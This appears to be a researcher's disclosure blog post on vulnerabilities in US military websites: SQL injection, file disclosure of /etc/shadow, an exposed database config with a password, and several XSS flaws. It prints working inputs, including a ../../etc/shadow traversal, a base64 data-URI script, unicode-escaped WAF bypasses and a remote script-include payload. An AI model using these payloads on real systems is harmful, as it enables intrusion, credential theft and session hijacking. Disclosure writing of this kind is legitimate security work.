Military audits are necessary

This blog post will be covering some of my findings in the military sector, and also their lack of response. I am only posting this now because they’ve finally patched just a few days ago. these vulnerabilities have been present for months. I’ve tried to contact them several times but it’s been no use whatsoever.

I’ll start with the two major ones and then just follow up with some XSS, first off is the US Department of Defense (specifically the Defense Contract Management Agency)

Here is a definition of the DCMA, taken from Google:

The Defense Contract Management Agency (DCMA) is the agency of the United States federal government responsible for performing contract administration services for the Department of Defense and other authorized federal agencies. Its headquarters is at Fort Lee, VA.DCMA often handles Foreign Military Sales contracts.

The vulnerability in question is an SQL Injection but present via a slightly less common technology, there was a GET-based SQL injection present in a flawed java servlet, located in – here is the message that you are greeted with while accessing that URL:



Welcome to DCMA
You are accessing a U.S. Government (USG) Information System (IS) that is provided for USG-authorized use only.
By using this IS (which includes any device attached to this IS), you consent to the following conditions:
  • The USG routinely intercepts and monitors communications on this IS for purposes including, but not limited to, penetration testing, COMSEC monitoring, network operations and defense, personnel misconduct (PM), law enforcement (LE), and counterintelligence (CI) investigations.
  • At any time, the USG may inspect and seize data stored on this IS.
  • Communications using, or data stored on, this IS are not private, are subject to routine monitoring, interception, and search, and may be disclosed or used for any USG authorized purpose.
  • This IS includes security measures (e.g., authentication and access controls) to protect USG interests—not for your personal benefit or privacy.
  • Notwithstanding the above, using this IS does not constitute consent to PM, LE or CI investigative searching or monitoring of the content of privileged communications, or work product, related to personal representation or services by attorneys, or clergy, and their assistants. Such communications and work product are private and confidential. See User Agreement for details.

So, communications are routinely intercepted and monitored, yet it remains vulnerable to SQL injection for several months?

I had a media contact reach out to the Department of Defense to act as a middle-man of sorts, and when I showed the vulnerable link to the DoD they responded with something along the lines of “How do we get past the login wall, what are the steps to reproduce?” The ‘login wall’ that they were referring to was literally just a warning about invalid SSL certs:



as you can see in the screenshot above, it is just a warning and was a case of simply clicking ‘proceed’ to get around this. The URL for the SQL injection can be seen above and the vulnerable parameter was ?SeqId=

In many cases, this wouldn’t be such a big deal (im not saying people should be lax about web security here) as long as there was no way of an attacker getting shell access or anything similar, and as long as no sensitive data is stored on the server so nothing of a private or sensitive nature can be exfiltrated. Of course to know exactly what kind of data we are dealing with, access would have to illegally be gained or the data illegally stolen, which I’m not going to do for obvious reasons – that being said, you can gain a pretty good idea of what you’re dealing with if the table names are outputted and this is the case here, the output of those table names makes me believe this could potentially be a serious issue in the sense that it appears the personal information of Department of Defense employees could possibly be exposed.

Below is the output that was recieved once ‘ or %27 equivalent is injected into the parameter:


Here is a live screenshot of the page output (taken from phone):


The fact that they make themselves so hard to contact, with no defined method – alongside the fact that they refer to a page warning about invalid SSL certs as a ‘login wall’ makes me really question their credibility – the guy who made the login wall comment is a supposed infosec contact at the Department of Defense and was notified of this vulnerability months ago – it was only patched in the past few days. What if some blackhats found this vulnerability and exploited it, and are now in possession of the personal information of a bunch of DoD employees? Judging from those warnings on the index page, I expected them to take their site security at least somewhat seriously.

As of writing this blog, attempting to access the vulnerable link throws a HTTP 500 error – which suggests to me that it has successfully been patched:


It’s pretty crazy to think that a Department of Defense server would be vulnerable to something so obvious and simple to patch.

But the next finding is an even bigger fuck-up, LFD on a US Army server with probably some of the worst security i’ve ever seen – for some reason that is completely beyond me they have their HTTP Daemon running as a root user, and the vulnerable script having root privs also. Albeit this was just some subdomain but the fact something can be so insecure on a military server is baffling. Here is the path to the vulnerability in question (now also patched):

I noticed the ?fileString= param and tried ../../etc/shadow as input while in no way expecting this to ever actually work (I just wanted to see what kind of output I got to see how the script acts – if I had wanted to actually obtain a local system file then the passwd file would have been my first choice). As soon as I load the URL, it downloads the shadow file without even giving me a prompt first, I literally could not believe it, doubted that it would have ever worked.

This vulnerability was patched maybe a month or so after me reporting it (albeit no response from the Army) – at least this one was patched in a much quicker length of time than the DoD vuln.

Below is the output of their shadow file with the sensitive info covered over – although they have took the server down, if they were to bring it back up after patching the vulnerability there’s a chance they may not have changed the credentials for the users fully and we don’t want someone cracking the root password and opening an SSH connection to their server, hence me blocking it out. Also it should be noted that they are using MD5 format for the shadow hashes, rather than something that’s actually somewhat secure like $6 hashes.


Next, I stumble across this (I really hope this is an outdated subversion containing old credentials, and not current live credentials!):

Here is the file I found (config.php):

Here is some of the output:

// This is the username for your database connection
// This is the hostname for your database connection
// This is your password for your database connection
if ($WHERE=="TEST")
	$dbuser = "dbSVNuser";
	$dbhost = "";
	$dbpassword = "mysecretpassword";
	$dbuser = "dbSVNuser";
	$dbhost = "";
	$dbpassword = "mysecretpassword";
// This is your database name
$database = "SVNmanage";

If ‘mysecretpassword’ is actually a valid credential for a DBMS connection to a military server, then they have some pretty serious issues (moreso than the SQLi and LFD considering this wouldn’t be a vulnerability in the sense that the software was badly written, but moreso in the sense that whoever put that file there is beyond stupid – definitely not the kind of person you’d want to be administrating a military system), here is a screenshot of the output from config.php:


Now I will cover some more minor vulnerabilities i’ve identified in .mil systems (namely XSS), first off i’ve noticed that a bunch of .mil systems have controlled redirects in which the user is warned before they are redirected and told to click the link of the site (embedded on the page) that they are redirecting to, in order to be redirected to their site of choice.

To exploit this its just the case of redirecting to the javascript: directive and then clicking the destination “URL”, like so:


This will now be working in a similar way that an attrib-based XSS would be while using the onclick= event handler.

The first live example I will display this on is a subdomain – Here is an explanation of what DISA is:

The Defense Information Systems Agency (DISA), known as the Defense Communications Agency (DCA) until 1991, is a United States Department of Defense (DoD) combat support agency composed of military, federal civilians, and contractors. DISA provides information technology (IT) and communications support to the President, Vice President, Secretary of Defense, the military services, the combatant commands, and any individual or system contributing to the defense of the United States.

According to the mission statement on the agency website, DISA “provides, operates, and assures command and control, information sharing capabilities, and a globally accessible enterprise information infrastructure in direct support to joint warfighters, National level leaders, and other mission and coalition partners across the full spectrum of operations.” DISA’s vision is “Information superiority in defense of our Nation.”

Although its only XSS, should a site that is responsible for offering computing support to the likes of the president and military services be vulnerable to something so basic?
Here is the live URL at the time of testing:


It should be noted that the above vulnerability is on a login portal for Department of Defense employees – based on some initial testing it would appear that hijacking cookies is a possibility here (along with spear phishing of course – although this would be ineffective due to the disclaimer about an external site). If an attacker had some interaction with employees that had access to this login portal and managed to hijack their cookies and authenticate as them, the implications could be huge (potential access to classified data, etc)

While the above vulnerability is via ASP.NET, there are more via many other technologies that are vulnerable in the exact same sense, here is pretty much the same vulnerability in an server but through ColdFusion this time:



Now time for some more conventional (typical GET-based reflective) XSS within the .mil domain, here is the first:

This is the Defense Manpower Data Center, which is part of the Office of the Secretary of Defence, a headquarter-level staff section of the Department of Defense, here is the output of the URL at the time:


Next up is the National Geospatial Intelligence Agency:




and another (more than just XSS here if you search hard enough 😉 ):




Now onto some more XSS that require WAF bypass (funny thing… they actually removed a fairly decent WAF for no apparent reason).

This is in a bunch of .mil sites running APEX Engine (more info here, I was originally triggering the XSS within browser context rather than domain, via redirecting to a data: uri within the URL param like so:|url=data:text/html;base64,PHNjcmlwdD5hbGVydCgvWFNTUE9TRUQvKTwvc2NyaXB0Pg==

Ideally you would want this to be triggered within domain context, and it can be done so via use of HTML Char Escape sequences to stop alert/prompt/confirm being filtered by the WAF and use of // in place of the closing HTML tag.

Thanks to @mradamdavies for the following method (he turned it into content injection also

this is the bypass method that was used:




Some more .mil sites vulnerable to the same thing:|url=http%3A//\u006fmp\u0074%28document.domain%29//|url=http%3A//\u006fmp\u0074%28document.domain%29//|url=http%3A//\u006fmp\u0074%28document.domain%29//

Also it should be noted that many other sites are running apex engine and are vulnerable to the exact same thing ( being one example)

Next is some POST-based XSS in a server (in their Chief of Naval Air Training subdomain):





and finally I will finish up with some reflective GET-based XSS in – they had a filter setup here so that your inputs were converted from lowercase to uppercase, meaning that HTML could be injected no problem, but injecting javascript was more tricky (due to HTML being case insensitive whereas javascript is case sensitive), the first thing to try in a case like this would be to use script tags to remotely include the javascript payload using the src= attribute within a script tag to include a .JS file from a remote URL

this payload still wasn’t working for 3 reasons, the first reason being that spaces were being stripped so and secondly http:// was being stripped from the URL so the javascript payload wasn’t being included remotely as intended, the third issue is that the starting script tag was partially stripped too – one way around this would be to use object tags like so:

< object type = ” “text/x-scriptlet ” data= ” ” >< / object>

Although this will still produce an alert (and is considered valid XSS by OWASP) it still isn’t ideal as the script isn’t executing within the context of the domain, thanks to @asdizzle_ for some help with this bypass method:

” > < / title > < script / src=” // 1.JS “> < / script >

Note, the above payloads don’t have spaces, script/src= works in the same manner as script src= would, the use of the closing title tag at the start is to prevent the first script tag from being filtered, and // can be used in place of http:// (which should be remembered as it can come in handy in XSSes when you have a limit to the amount of chars that you can inject)



These are just some of many examples of vulnerabilities in US Military systems, and it should be noted that i’ve made many efforts to contact them so I can report these, and that I didn’t release any details on the more serious vulnerabilities until after i’d managed to confirm that they had been patched.

For some reason, the military are practically impossible to contact when it comes to reporting vulnerabilities – not only do they not have a bug bounty programme (which is understandable) but they actually have no viable means of researchers being able to reach out to them in order to report vulnerabilities, I guess they have the mindset that their systems are secure therefore there is no need to have a channel through which people can report potential security risks. There has been much discussion in the past about calls for an army bug bounty programme or at the very least some kind of platform where someone can report vulnerabilities with ease – but for some reason this hasn’t yet been implemented (despite the Army themselves suggesting it – see here: and also here:

I know I said my next post was going to be on some of the more sophisticated phishing techniques, but that’s coming next I promise 🙂

that’s all for now,







2 thoughts on “Military audits are necessary”

Leave a Reply

Fill in your details below or click an icon to log in: Logo

You are commenting using your account. Log Out /  Change )

Google photo

You are commenting using your Google account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s